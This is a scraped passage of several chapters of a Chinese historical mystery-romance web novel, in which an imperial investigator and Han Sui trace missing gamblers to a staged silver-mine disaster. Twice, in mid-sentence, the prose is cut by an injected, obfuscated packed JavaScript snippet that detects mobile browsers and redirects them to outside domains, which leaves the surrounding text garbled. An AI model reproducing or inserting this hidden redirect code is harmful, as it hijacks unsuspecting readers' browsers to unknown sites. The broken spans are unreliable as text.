他回首对韩穗笑道:“估计也快回来了,我陪你在这儿等他。”说着,又让昌乐去沏一壶从上京带来的休宁松萝茶。 韩穗忙推脱叫他不必如此客气,却惹得冼牧川不悦道:“我看你才是在跟我瞎客气,经历昨日一事,你我从此就是过命的交情了!” 他摇着手中洒金折扇,流露出钦佩之情:“昨儿个本公子在榆水坡遇险,韩姑娘不仅主动留下救人,还顺手单打独斗擒拿了人犯,此等智谋义气,从此韩姑娘便是我冼某最佩服的第三个人!” 不等韩穗询问那前两人是谁,冼牧川又发自肺腑道:“你救了我一命,就是冼家的恩人,以后有用得着我的地方,尽管开口!” “我还是那句话,真正救你一命的是方大人,我不过误打误撞发现了通道而已。”韩穗不卑不亢道。 “哎,他都救我不止一次了,再多救一次没甚意思.….” 二人正没头没尾地聊着,忽觉一阵寒气从门帘处袭来,紧接着,一道颀长挺拔的身影掀帘而入。 “明渊兄来了,”冼牧川起身,一双弯成月牙的桃花眼看向韩穗,“那你二人聊,我先走了。” 方湛已换上绯红锦地官服,神色微倦,双目却依然清明。他掠了眼已起身的韩穗,又对冼牧川道:“正好有事找你,万顺镖局和刘家的账簿都已找齐,就放在架阁库中,冼少监素来擅长精算,查账一事就全权交予你了。” 说罢,他径自走向书案后落座,接过差役递上的茶盏淡然浅饮。 “早知道不来了,一见到你就给我找活干!”冼牧川愤然骂了几句,也只能悻悻离去。 待屋内只剩二人,韩穗上前施礼开口:“搅扰大人了,听冼公子说,我昨日出城背的挎包在大人这里,是以冒昧前来取回。” 方湛搁下茶盏,示意她落座,开口却不提挎包之事,只道:“你腿上有伤,不该在家里静养么?” 韩穗正不知该如何回答此问,却听他又道:“既然来了,不如帮我个忙。” “大人请讲,民女必尽力为之。” 她这句应答中的恭顺之意,不禁让方湛颇感意外,不过他未作多想,抬手摁了摁太阳穴,闭目道:“昨日你救下的那个李家大郎,名叫李松,我翻了他的案卷,得知其家人自去年春便报了失踪,但官府一直未曾找到,如今突然出现在废弃矿洞中,不由让人猜想这背后曲折。” 李家大郎的姓名,韩穗还是第一次听说。早在她来云州之前,李大郎就已失踪,邻里之间的交往中,她只知道,李氏夫妇因大儿子的意外一蹶不振,对唯一的小儿子李老二看管愈严,就算在门前胡同玩耍都要让他手牵一条大犬。 “昨日因你受惊,我未曾多问,”方湛缓缓睁眼,“现下既来了,不如说一说你在榆水坡发现李松的过程。” “是。”韩穗便把她与华叔是如何发现并救出李松,以及与他的对话内容一五一十道来。 方湛慢慢回溯整个过程中的疑点:“如此说来,张金龙将冼少监绑架至矿洞中,意外被李松撞见,张金龙想要追杀他,却被他逃脱,在其力竭之时恰好遇到你们,这才获救。而听李松的言语,应是认得张金龙的,并且甚为害怕,这是为何?” 他眉头紧蹙,为清俊的面容笼上一层冷肃:“李松知道矿洞中有炸药,可见对矿洞很是熟悉。可卷宗上记载他失踪于城内,为何一年后会出现在城外废弃的矿洞中?” “这些疑问,大人直接去问李松不就行了,”韩穗突然神色一变,“难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313916|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不成他..….” “他性命无忧,”方湛知道她在联想什么,适时截住,“只是无论谁问他话,他都只字不说。听闻你与李家是邻居,你又救了他,所以想让你去试试。” “我两家是邻居不假,但我与李松本人却从未有过交集啊。”韩穗的迟疑不过一瞬,随即想到自己那个“求全”大计,立时换上一副坚定的口气:“不过为了大人,我愿意前去一试。” - 经过昨日灵岩寺医僧的救治,李松已然脱离生命危险,只是身体虚弱至极,需要慢慢调养。 方湛因怀疑他与张金龙相识,便将他当成一条重要线索带回府衙,找了间房给他,又让其家人前来伺候。 得知此事的韩穗撇了撇嘴——姓方的办案可真喜欢把人扣在衙署。 李松养病的厢房就在监狱外那一排值舍中,守在门口的差役一见方湛带人前来,立刻为他们开门。 屋内,李家夫妇正在榻前给失而复得的儿子喂水,看到韩穗进来,二人扑通就跪,老两口哭得涕泗横流,声声感谢眼前人为他们找回了儿子。 韩穗忙上前搀扶:“我不过是意外发现了他,终归还是您家大郎福大命大。”李氏夫妇起身后,她又道:“只是关于大郎失踪的事,官府需要问个明白,也好平案不是?” “唉,”李母回头看了眼榻上虚弱的儿子,摇头道,“也不知他究竟经历了什么可怕的事情,连我这个做娘的都问不出来。” “我在榆水坡找到他时,他还向我提供了凶犯掳走少监大人的线索呢,也算立功了,”韩穗抱着希望道,“要不你们都出去一下,或许他能告诉我些什么。” 方湛与李家夫妻俱退到屋外,此时日已高升,在天井内投下一方凛冽寒冬中稀有的暖辉。 他步入日光中,极目眺向天边一爿蓬云,一面试图放松筋骨,一面却在脑中不住地拼凑种种信息。 对张金龙的连夜审问收效甚微。此人曾在玄英卫供职,后又被田青收为死士,远比此前那个只知贪财怕死的叶阳县小吏难以对付,不仅要想法子撬开他的嘴,还要提防其寻机自尽。 不过提审张金龙的困难他早有预见,让他意想不到的却是,如今一个失踪一年多又被寻回的普通人居然也缄口不言。 半柱香的功夫后,韩穗推门而出。她走向方湛,摇了摇头,无奈道:“他对我也什么都不肯说,我问了他几个问题,他表现得似乎很是害怕,我以为他是怕张金龙,就说张金龙因为杀人已被下狱,不足为惧,可他仍旧怕得捂住了脑袋。” 李母闻言又是一番流泪:“真不知我儿究竟经历了什么,好好的孩子变成了这样……” 韩穗垂眸略作思索,突然问向李家夫妻:“你们可还记得李松失踪前有什么异常之处?” 李母拭泪回忆道:“松儿自十六岁起就在东城一家药铺做事,他性情虽内向但却沉稳,过去四五年间无论刮风下雨,都是卯时离家辰时归家。可是自从他后来结交了一个朋友,就时常在外面混到很晚才回家,问他去做什么了还会生气,只说与朋友吃酒。” “他失踪那日,出门前特意叫我们晚上不用留饭,他要与朋友吃酒,所以到了深夜他还未回来,我们也未放在心上,直到第二日太阳落山他还没回家,我们察觉不对,四处找不见他,这才慌张报了官。” 韩穗问道:“你们可知道他那个朋友是谁?” “知道,”李父笃定道,“就是南城古宝阁郭掌柜的侄子郭大牛。” “郭大牛?”韩穗与方湛面面相觑。 48. 失踪案(二) 云州府衙的案册库位于一处僻静院角,几株粗健桑树依墙而上,参天的枝冠划破冬日惨淡的天空,叫人倍觉此处清冷。 负责掌管卷宗的小吏识得方湛,匆匆行礼,听完其来意,便将他与韩穗带至一排架阁前,在一摞摞卷宗中翻找起来。 阴冷空气中弥漫着纸张与木质混杂的气味,韩穗扫视眼前架阁上的贴签,询问:“这层架子上存放的都是失踪人口的案卷?” 那小吏回道:“韩小姐说得正是,这些都是近三年来尚未销案的失踪卷。” “未销案,也就说这些报失踪的人口至今都没找到?” 小吏点头称是。韩穗看了眼架板上那好几摞卷宗,粗略估计道:“这里少说也有四五十卷.....”她微有讶异,转面问向方湛:“若按一卷一人算,一州三年之间失踪四五十人,这正常么?” 方湛却未答话,转问那小吏:“过去云州也经常发生人口失踪么?” “回大人,”小吏如实道,“这失踪案云州自然年年都有,但确实没这几年多。” 说话间,小吏已找到郭大牛的失踪卷宗。方湛拿到手速览一遍,随即又递给韩穗。 韩穗边看边道:“郭大牛确实是今年秋不见的,郭叔父于中秋那日报官,实则此前已寻了他好几日了。至于失踪前有人看到他进了利昌赌坊……这也说明不了什么,我听郭叔父说,郭大牛好赌,就算身上没钱也愿意站着看别人赌,几乎日日都去赌坊,并不稀奇。” “利昌赌坊。”方湛若有所思地重复着这四个字,从袖中抽出一卷案牍:“你再看看这个。” 韩穗接过,发现这正是李松的失踪案卷。待她看完,恍然便明白了方湛的意思:“李松失踪前居然也去过这家赌坊?” 方湛微微点头,命令候在一旁的小吏将近三年所有失踪案的卷宗都搬到桌案上,又道:“辛苦你把这些卷宗都过一遍,将失踪人员的性别、年龄、特征都抄录下来。” “还有,”韩穗当即会意,补充道,“其中失踪前去过赌坊的,或者好赌的,都在一旁标记出来。” 当小吏埋头于案牍中奋笔疾书时,他二人也不曾闲着,捡起小吏看过的案卷一目十行。 一炷香的功夫后,所有案卷皆已过完,小吏将按要求誊抄下来的内容呈与二人。 白纸黑字,清晰明了。自成乾十一年始,云州府衙立案记录的失踪人数共计五十八人,其中多半是身强力壮的青年,而这些人要么有赌钱的嗜好,要么被明确记载失踪前曾去过赌坊。 方湛收好记录,带韩穗走出案册库。 “我怎么觉着这不像是巧合,”韩穗步下台阶时,忍不住道出心中猜测,“那些失踪的人居然几乎都与赌钱有关,甚至有不少人去过刘百盛的利昌赌坊。难不成这些失踪案与刘百盛有关?” 方湛未置对否,放缓步子跟在她身侧,说道:“此前我以查刘百盛命案为由,扣押了刘家一众人及刘百盛的几个心腹,但我当时审问只把重心放在刘百盛命案及刘家账簿流水上,并未往这个方向联想。” 韩穗若有所思,推想道:“人口失踪,要么是拐卖要么是丧命,这些都是脏活,若真与刘百盛相关,做事的人八成也是他手底下那些打手,他的家人和掌管生意的心腹不一定会清楚。” “你说的不错,”方湛心念一动,“刘百盛死后,他身边那几个狗腿子四散不知去向,但我抵达云州那日,刘家有个叫郑刚的混混头目,因当街与人械斗被抓入狱中,至今未放。” 韩穗闻言不由想起那天自己被刘家打手追着满街跑的不堪,很不自然地抿了抿唇,又怕方湛在街斗这个话题上继续深入,急忙道:“这样,咱们兵分两路,你去审那个郑刚,我再想想办法让李松开口。” 昨夜的雪在地上蓬松铺了一层,鞋履踩下去时沙沙作响,然而这沙沙声却于此刻戛然而止,只因方湛不觉停步,转身将目光投向身侧之人。 冬日辉光刚好留驻在她所立的位置,映出一张玉白面容,莹亮似透光。那光又跃在她的长睫之上,泠冷流转,如梦蝶羽翼,倏尔一抬,展露出一双隐露疑惑的明眸。 方湛迅速移目,看向她身后虚无的远处。 “怎么了,我的提议有何不妥吗?”韩穗感受到他的异样,不解地问道。 “哦,没什么不妥。”他讷讷道,心里却在疑惑,此前她面对自己不呛声就不会说话,说起话来也是暗里藏针、针锋相对,为何今日一反常态,甚至主动帮他查一桩与她毫无关系的失踪案呢? 殊不知此时韩穗的内心,也并不十分坦然。 方才一番互相配合查案,她与方湛之间的斗气较劲似乎暂已消弭,而现下又四周无人,唯有二人相对,实在是她实施“求全”大计的好时机。 只是事到临头,她却怎么也开不了口。 在家时演练多次的赔罪说辞,好似擀毡打结的绒线,理不顺、吐不出。更让她没想到的是,她此时居然萌生出反悔的念头,只因心底隐隐有股不服的意气在作祟。 她自然是不服的。 四年前的事,看似是她唆引他私奔在先,反悔抛弃、另嫁他人在后,实则她的一颗真心在其中是实实在在碎裂过、痛过的。而他呢,那段时日,不过是隐去高门身份,胡编乱造了一个人物,始终以游离姿态看着她的一厢情愿,别说真心了,就连真名都没奉出。 凭什么他戏耍自己,自己还要道歉! 二人就这样在案册库前各怀心思地相对而立,但凡有人经过,都会觉得诡异——除了冼牧川。 “韩姑娘?太好了,你还没走!”从隔壁架阁库中伸着懒腰出现的冼牧川,一见到韩穗便喜笑颜开地走过来,“正好到用午膳的时辰了,不如由本公子做东,请你去醉云天吃饭如何?” 韩穗刚想推辞,就听到方湛替自己应道:“好啊,那我二人就恭敬不如从命了,顺便也好跟我讲讲,你今日看账簿都有何收获。” 冼牧川脸上的喜色瞬间凝固:“吃饭的时候谈公事,你自己说这对吗?” 方湛却恍若未闻,嘴角噙笑地从他身前经过:“你们先去,等我换身衣裳,稍后就到。” - 醉云天坐落在唯一一条流经云州内城的潞河岸边,楼身六层,檐飞柱升,华丽高阔,乃云州最高的建筑。 冼牧川定下的雅间就在酒楼最高处。若是夏日,在此临窗用膳对饮别有景色,可惜眼下是 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少年的脸上也绽露出故旧重逢的喜悦:“阿……”刚要呼出旧称,突然意识到如今再叫“阿粲姐姐”并不合适,眼前亭亭玉立的女子早已不是那个挽着裤腿带自己下河摸鱼的书院小役了。 他站直身子,规矩一揖:“姑娘万福,多年未见,姑娘可还安好?” “我一切都好,你也长高了不少嘛!”韩穗笑答。 四年前在一得书院时,斐然还是个半大的孩子,他是被牛叔捡来养大的弃婴,时常跟在她身后帮忙搬书洒扫,或一起缠着牛叔带他们去后山钓鱼,二人也算是忘年之交了。 多年未见,他乡重逢,自是一番喜悦。但与此同时,韩穗不免想起上次两人在府衙甬道上的意外相撞,生怕他突然问起此事,引起方湛怀疑。好在斐然始终未提,她便以为他当时未认出自己,也就渐渐放下心来。 众人落座,珍馐美馔便如流水般端送上来。店小二热情询问要何美酒,冼牧川刚想作答,却觑了眼一旁的方湛,没好气地摆手道:“不要不要,公事未了,还是上茶吧。” 待昌乐将自带的松萝茶沏好端上,冼牧川又恢复了兴致,举盏提议道:“今日不妨以茶代酒,庆祝我们几人劫后余生,大难不死必有后福!” 其余人自是随饮。落杯后,冼牧川夹一只油爆明虾,殷勤地送入他的恩人碗中:“韩穗,你尝尝这个,这道菜做得竟比我姑姑宫中的厨子还要强呢。” 方湛不悦道:“你跟她有那么熟么,才见了几次面,就直呼其名。” “无妨,”韩穗不甚在意,“方大人言重了,既然共同经历过生死,也算是朋友了,朋友之间不必拘礼。” 这时斐然突然开口:“要照这么说,我家公子可跟姑娘共同经历过不止一次生死,怎么我听姑娘还一口一个方大人呢?” 伸向明虾的红箸蓦然一滞,韩穗下意识抬眼,只见方湛人如冷玉,正好整以暇地瞧着自己。 她分明看见了他嘴边那丝不易察觉的笑意!但这根本难不倒她:“方大人位高权重,自带上威,令人敬仰,与之交往时言语上不自觉就恭敬起来。” 噗嗤——冼牧川的吃笑渐渐变成捧腹大笑,对方湛道:“听到没,明渊兄,人家嫌你官味太浓了!” 49. 失踪案(二) “忙了一上午,还真有些饿呢!”韩穗自救式端饭夹菜,好在冼牧川也不再延续话题,只笑着招呼大家用饭,一桌人纷纷举箸。 吃过饭后,店小二将残羹撤下,换上一应精致茶果。吃茶之际,方湛便问起冼牧川查账一事。 “昨日韩姑娘在榆水坡石窟内发现一本簿子,也在给你准备的那摞账本中,你可看过了?” “看了,”冼牧川拈起一粒昌乐剥好的盐烘核桃仁,不紧不慢道,“那簿子是万顺镖局给刘家走货的镖书,时间自成乾九年十一月始,至十四年六月止,从云州走镖至定州及上京两地的货物及现银,总共价值逾二十万两。” 冼牧川担任少监一职三年之久,往来应付于圣上与诸司之间,绝非看上去那样的草包。他见方湛似有所思,便问:“明渊兄可是觉得有问题?在经商行当里头,这个银货总量确实不小,但若放到刘百盛云州首富的身家上,也能说得过去。” 方湛捏盏,沉肃道:“有问题的并非走镖总量,而是时间。” “对啊,”冼牧川脱口而出,“这段时间正好是西山银矿从开始到关闭的时间!”他又问:“对了,你那边审问张金龙的情况如何,他有没有说为何把刘家的的镖书藏在榆水坡石窟里?” 方湛冷笑一声:“说的没有用,有用的不肯说,硬骨头一根,还得狠磨。” “唉,又是一个不开口的。”冼牧川之所以如此叹息,自是因为来时路上,已从韩穗那里听说了李松的情况。 想到此,他便去问韩穗:“那个李松,你真能想到法子让他开口?” “或许有一个人能让他愿意开口。”韩穗不太确定道。 “哦?是谁?”冼牧川兴趣十足地问。 “就是那日你扒我家后墙,放狗吓你的小童,李老二,李松的幼弟。” 方湛闻言皱眉:“你扒韩家后墙做什么?” “哎哎,那什么,赶紧的吧,”冼牧川慌忙打起马虎眼,“既然各有各的要务,不如快些分头去做,早日把云州这桩牵藤挂蔓的案子给结了,也好回京过年呐!” - 李氏夫妇原本在闹市区经营一家面馆,儿子出事后,因四处寻人便把面馆关了,后在家门口支了个食摊,兼卖一些时令果蔬。 韩穗来云州后,时常陪宋妈出去采买,与李家夫妻贯是相熟。他们的小儿子李老二总牵着条大黄狗在街上玩耍,最喜欢围着韩穗问有关上京的一切。 这日夫妻二人被通知去衙门照顾长子,只好把小儿子托给邻居照管。好在韩穗与胡同住家都认识,再加上她官家人的身份,只消几句解释,对方也就放心让她将孩子领走了。 李老二已长到七岁,正是好动的年纪,一上韩家马车就新奇地摸摸这看看那儿,直到新鲜劲儿过了,才仰着稚嫩的小脸问道:“韩姐姐当真要带我去见我大哥吗,可是胡同里的人都说我大哥再也回不来了。” “他们说的都不对,你乖乖坐好,一会儿保证能见着你大哥。” “太好了!”李老二两只眼睛顿时放亮,“大哥真的回来了,我娘果然没有骗我!” 关于长子的失踪,李氏夫妇一直未曾放弃寻人,面对小儿子的追问,也只哄说他的大哥是去很远的地方找名医拜师去了。 这些事韩穗都是听榆娘与宋妈扯闲篇时说的。至于李松为何不帮父母经营面馆,而是去学医术,只因他心疼自出生起便体弱多病的弟弟,去医馆做事,好求得药膳方子,每日回家亲自烹制给弟弟吃。 李松对这个比自己小十几岁的弟弟,可谓疼爱有加。他死里逃生归来后,对一切保持警惕,或许见到弟弟后,能触动什么,愿意开口。 “韩姐姐,我可太高兴了,这次哥哥回来,是不是已经变成很厉害的大夫了?” 稚嫩的声音打断韩穗的思绪,她低头瞧见李老二憧憬的笑脸,一时不知该作何回答,只无声地笑了笑。 逾时,韩穗带着李老二,再次见到了李松。 屋内只有他们三人,李老二看清倚在榻上之人的模样后,先是不敢置信,甚至有些畏惧地去牵韩穗的衣襟,直到那人开口低叫了声“小柏”,他才意识到,眼前这个眼眶凹陷、虚弱瘦削的人,真的是他日思夜想的哥哥。 李小柏一下子绽笑,扑上去抱住哥哥,转而忍不住抽泣起来。 韩穗连忙将他从李松身上扒下来,搁到凳子上:“你大哥身体虛弱,小心别压着他。” 李小柏这才用袖子擦着眼泪鼻涕道:“我大哥这是怎么了,他怎么变成这样了,今年上元节他还能驮着我去看花灯么?” 韩穗用手帕帮他仔细擦净小脸,看了眼李松,劝道:“你若是一直不肯说出失踪经历,以及为何会被张金龙追杀,恐怕带你回城的那个方大人不会放你回家,那你又如何在上元节时驮着弟弟看花灯?” “不是我不想说,是我不敢说啊,”泪水夺眶而出,李松终于呜咽着开口,“我怕啊,我怕说出来,全家都会没命!” 韩穗起身伸手,将小柏领到门口,让他先去院子里找爹娘玩。 再回到榻前坐下,她已换上一脸凝肃:“张金龙已经下狱,不日便定罪问斩。方大人从上京而来,受皇命秉公办事。想杀你的人就快没了,为你做主的人亦不受云州任何人掣肘,你究竟在害怕什么?” 李松露出一个绝望的笑,答非所问道:“韩小姐是好人,但你不该救我,我早该是个死人,如今光明正大地活着只会害了你们所有人…..” 韩穗重重叹了口气,看来今日让他说出失踪真相是没什么希望了。 她从袖中抽出一张纸条递给他:“你看看这个,上头的人你有没有认识的?” 那纸上正是案册库小吏抄下的失踪人名单,她本想让李松指认出郭大牛,再从二人的关系上入手询问。岂料李松看了名单后,突然手抖如筛糠,面如土色,惊骇地扔掉纸,双手抱头叫道:“我不认识,这些人我都不认识,别问我,别问我……” 韩穗见他如此反应,不免诧异,待她从地上捡起纸张时,一个念头从脑海中骤然闪过。 她回身看了眼痛苦的李松,疾步走到屋外,叫其家人进去安抚,自己则朝着位于府衙后花园的馆舍匆匆赶去。 冷清的馆舍中仍然只有听差的待从,韩穗这次却足足等了半个时辰,才等到方湛姗姗而回。 方湛甫一进门,便瞧见韩穗正端坐在官帽椅上,玉雕玲珑的侧颜微微出神,带出些呆愣的孩子气。 他几步过去,径自坐到她身侧,将手伸至火盆上取暖。 余光中突然出现的身影叫韩穗蓦然回神,待看清来人,她欣然道:“你可算回来了!我跟你说,我方才又去见了一次李松。” 因她心有所想,一时忘了礼仪,旧日的熟稔便自然现出。而这种无间的说话方式立时被方湛捕捉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15363726|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心下竟抑制不住地生出适意,问道:“可有何收获?” “收获不大,但我有个猜想。” “巧了,”方湛勾唇一笑,“我将才审完郑刚,也有个猜想。” 韩穗一怔,随即正色道:“那你先说。” 方湛好不容易从她白皙的脸上移目,略微清了清嗓,这才将审郑刚的情况简要说来。 郑刚自刘百盛发家后便跟在其身侧,手下纠集了一帮会拳脚的乌合之众,干的都是些恐吓、拿人、打架的勾当。至于赌坊一应事项,却轮不到他插手,另有一班由刘百盛带头的人专门负责。 “郑刚虽不甚了解利昌赌坊的内幕,但他跟在刘百盛身边,多少也有些听闻。他说利昌赌坊时常会来一个叫史先生的人,专责处理那些欠赌坊高债却无法偿还的人。只是这个史先生既不在赌坊做事,也不是刘百盛的人,居然没人知道他的来历。” “据郑刚讲,史先生每次去赌坊,都会带走一些无法还债的赌棍,听说是带去某个地方做工,只需干满几年就能回来,且与赌坊的欠债一笔勾销。” 韩穗问道:“带去哪儿,做什么工?” “不光你想知道,”方湛拾起火箸拨动盆中火苗,不紧不慢道,“郑刚也很想知道,毕竟那些在赌坊欠下的债,有的高达上百两,他好奇到底做什么工不过几年就能挣这么多钱还债。为此他设法四处打听,可那个史先生神秘得很,除了刘百盛谁也接触不到。” 韩穗看着被拨旺的火苗跳跃,半晌听不到方湛继续,于是抬眼问道:“就这些,没了?” “没了,”方湛撂下火箸,随意往椅背上一靠,“而我的猜测便是,案册库内那些无法侦破的失踪案中,有一部分人正是被史先生带走的,其中就包括李松。” 出乎他的意料,韩穗听后居然并不觉得惊讶,只沉思片刻,点头道:“那对上了。我方才将那失踪案名单拿给李松看,问他认识上头哪些人,他看过后惊骇万分,说谁也不认识,甚至见鬼似地把纸条扔了。” “我觉得他的反应非常奇怪,若他只认得上头的郭大牛,并且想隐瞒什么,大可随口撒个谎,说谁也不认识,便能揭过,”韩穗回忆着李松当时的表现,“可他却被那张名单吓破了胆,如此反应太过异常。” 她犹豫地看向方湛:“我有个大胆猜测,不知对不对。” “很多时候,查案正是靠大胆的猜测才能推进,你但说无妨。” “哦,”韩穗不自觉抿了抿唇,“我猜测,其实那张名单上的人名,李松全部都认识,所以看到时才会如此惊骇!” 方湛纠偏道:“全部有些夸张,但想来有一部分人名他是熟悉的。” 韩穗灵光迸发:“结合你的那个猜测,这会不会是批量拐卖人口?而拐卖他们的人就是那个史先生!” “恐怕你说的已离真相不远。”方湛顿了顿,说出他从始至终的疑惑:“假若李松是同许多人一起被拐卖的,他一个人逃出来后,为何不报官去营救其他人?还有,从西山到云州城,就算步行也不过大半日功夫,他获得自由后为何不回家,而是住在废弃矿洞中,忍受着非人的生存条件。” “是啊,”韩穗思量道,“李松肯定知道自己失踪后父母弟弟着急伤心,可他宁愿如此也不回家,说不通啊……” “他在害怕,”方湛目中闪过一丝锐光,“而他害怕的那个东西,正是我们想要的。” 50. 失踪案(四) “不管怎么说,得先把那个史先生抓起来。”韩穗一向是务实派。 方湛却道:“恐怕已经晚了,刘百盛一死,他的那些个爪牙一个个跑得够快,毋庸说那个史先生了。” 这边厢话音方落,门帘外便响起一个浑厚的求见声。方湛提声允准后,一个满身寒气的络腮胡玄衣男子匆匆而入,正是玄英卫司都校尉裘明。 裘明入内执礼,抬首后不免看向坐在方湛身侧的韩穗。 方湛轻呷一口茶,淡淡道:“都到这一步了,有什么话也不必藏着掖着了。” 裘明得令,遂将玄英卫与一队边军在西山银矿的勘察结果报上:“按照大人的要求,我等将银矿废址搜查了个遍,尤其是李松藏身的地方,但并未找到有用线索。不过,玄英卫却在此前的矿难废墟中有重大发现。” 方湛示意其继续说下去,裘明凛然道:“那矿洞坍塌面积极大,而塌方最深处居然有多处火药爆炸后的痕迹。沈参领看过后认定,那是军队攻城才会用的‘震天雷’。此种火药爆炸威力大,破坏性极强,再结合坍塌碎石的状态,可以断定那处矿洞是被炸药崩塌的。” 韩穗不敢置信:“你的意思是说,今年春西山银矿的矿难不是意外,而是人为?” 裘明却不敢十分确认。 “人为之处可不止于此,”方湛冷冷道,“矿难发生后,虽说是由附近县衙及州府出人抢救,但事后勘察却是朝廷派人主持,那个人若想从中动手脚,可谓易如反掌。” 韩穗还在思考“那个人”是谁,又听裘明道:“大人,还有一事,我等在矿难废墟中还发现两具被巨石掩埋的尸体,其状况惨不忍睹,已然腐露出白骨,无法看出原来的样貌。不过,我们在其中一人衣襟中发现一张几年前的书信,推测其名字应是叫胡三刚。” 韩穗一愣,突然像是想到了什么,迅速从袖口中抽出那张失踪案的名单,一目十行地看过去。 “找到了!是有胡三刚这个名字,此人成乾十一年失踪,也是个赌徒。” 方湛接过名单看了眼,问裘明:“尸体可找仵作看了?” “尸体一运回来便送去了验尸房,仵作验尸后发现,那两具尸体摧折多处,应是矿洞坍塌时被乱石砸折的。可奇怪的是,仵作还从尸骨中检查出了剧毒。” 韩穗陡然看向方湛,只见他神情冷峻,目光似盯着虚空,但却流露出刀锋般的锐利。半晌,她听到他说:“抬李松去见尸体。” - 前往验尸房的路上,韩穗觑看着另外两人铁板似的脸,小心试探道:“李松现在身体虚弱,情绪不稳,让他看可怕的尸体,会不会有些残忍?” “攻人攻心,他不乖乖开口,难免得受些罪。”方湛面无表情道。 “或许等一等,他就能想通呢?” “没有时间等他了,”裘明解释道,“圣上前日已来信催了,要求大人腊月二十五之前必须抵京面圣,就云州一案给出交代,否则不光大人与玄英卫,就连云州府衙上下都要被治一个渎职罪。” 韩穗在心中默算起来,除去回京路程,留给方湛的时间就只有四天了,若云州这堆大案套小案的谜团解不开,岂不是父亲都要受连累! 于是她也板起了脸。 裘明见她如此安慰道:“韩小姐放心,有方大人在,就没有撬不开的口,保证出招一击必胜。” 方湛闻言淡淡瞥了他一眼:“这次能否一击必胜,恐怕还得看裘校尉的配合。” 不多时,三人来到验尸房门外。方湛停步,对韩穗道:“尸体就在里头,你若怕,可在外面等着。” 韩穗刚想答应,却转念想到方才他与裘明对话的玄乎,一时涌上一股好奇又好胜的心潮,她倒想知道,自己用亲情无法打动的人,他俩又能有何高明的手段让其开口。 于是她僵着表情摇头道:“这有何可怕的。”随后信步入内。 然而一进去她就后悔了。尸体有白布遮盖,只是看着渗人罢了,但屋内那股若有若无的尸臭直令人反胃。 她抻袖遮鼻,眼前却忽然现出一只蟹壳青锦地香囊。 那香囊上头蹩脚的针线,稀里糊涂的做工,以及四不像的花草……韩穗不由一怔,兀地如同被一道天雷击中——这不是四年前她亲手缝制又亲自送出去的么? “里头有药草,用它嗅鼻会好些,坚持一下,不会太久。”方湛的声音如常,可韩穗却丝毫不敢抬眼看他,颤巍着接过香囊,只觉这又丑又拙的物件搁在手中,简直比旁边那两具尸体还要可怖。 等等,他为何还把这个带在身上? 不及细想,外头有两名差役抬着担架而来,近前一看,果然是把李松抬来了。 李松还是那副死气沉沉、目中无光的样子,担架落地,他虚弱起身,跪地开口:“草民见过两位大人、见过韩小姐。” 方湛不露痕迹地站到韩穗身前,示意仵作揭开盖尸布:“李松,看看这躺着的两人,你可认识?” 李松缓缓扭头,扫了眼那两具惨不忍睹的尸体,当即面如土灰,颤声答道:“不认识。” “尸体腐朽,你认不出也很正常。离你最近的那人是胡三刚,这个名字你可听过?” “没,没听过。”李松伏身在地,嗫嚅着、瑟缩着。 方湛一个眼神示意,裘明便抬手命差役及仵作退下,并关好房门。 “你在说谎。”方湛走到李松跟前,缓缓蹲下,将那张失踪者名单抖开在其眼前,冷声道:“你不仅认识胡三刚,这上头的好些人名,你也都很熟悉吧?” 他盯着对方闪躲的眼神,用最平淡的语气说道:“若我没猜错,那些人如今都躺在矿洞崩塌的废墟堆中,生前不见天日,死后无安魂之乡,而你,本该与他们一样腐烂在废墟之下,可却偏偏命大活了下来。” 他起身,将那份名单扔到李松膝前,脾睨道:“只是你活着也无用,不过是世上多了一个懦弱苟且之人罢了,背负着数十人惨死的秘密却不敢为他们鸣冤叫屈,就不怕往后余生一闭上眼就有冤魂来找你哭泣么?” 这些话如同矿难那日崩塌下来的巨石,将李松重重压在地上不得动弹,他枯瘦的身体抖如筛糠,就算如此,除了呜咽声,他绝不吐露一字。 方湛的话却紧追不舍:“你死里逃生后宁可躲在矿洞中活得不人不鬼,也不愿回家团聚,原因只有一个,你活着的事情一旦暴露,就会引来杀身之祸,你不想因为自己的一条烂命而毁了家人的安稳生活,是也不是?” 听到这儿,韩穗一下子回想起李松之前说过的那句“你不该救我,我早该是个死人”。 来不及多想,就听方湛语气一转:“可你有没有想过,情况早已骤变,自你在城内现身那一刻起,你的缄口不言已再无意义。你活着就是那个人罪行的最好证据,你信不信,他早晚会找上门来灭口,甚至是灭门!” “而那个人,如果我没猜错,正是矿监田青。至于你身上承载的那个秘密,想来与田青在西山银矿的所作所为有关吧?” 方湛的声音轻飘飘落下,却叫地上之人浑身僵住,连哭泣声都吓得止住。 然而震惊者又何止一个,韩穗不敢置信地看向立于逆光中的方湛,一瞬之间,他在云州查案的蛛丝马迹似乎全部能够串联拼凑,可种种信息却在脑中混杂交织,梳理不开。 这时裘明适时冷笑开口:“不得不说,你这人确实命大,不仅能从矿难中活下来,如今眼看死路一条,又刚好碰上钦差御史大人。你可知,圣上早已对田青起疑,此次方大人前来云州,不光是为督办叶阳县民乱一案,更要找出田青的不轨之处,好交予三司绳之以法。” 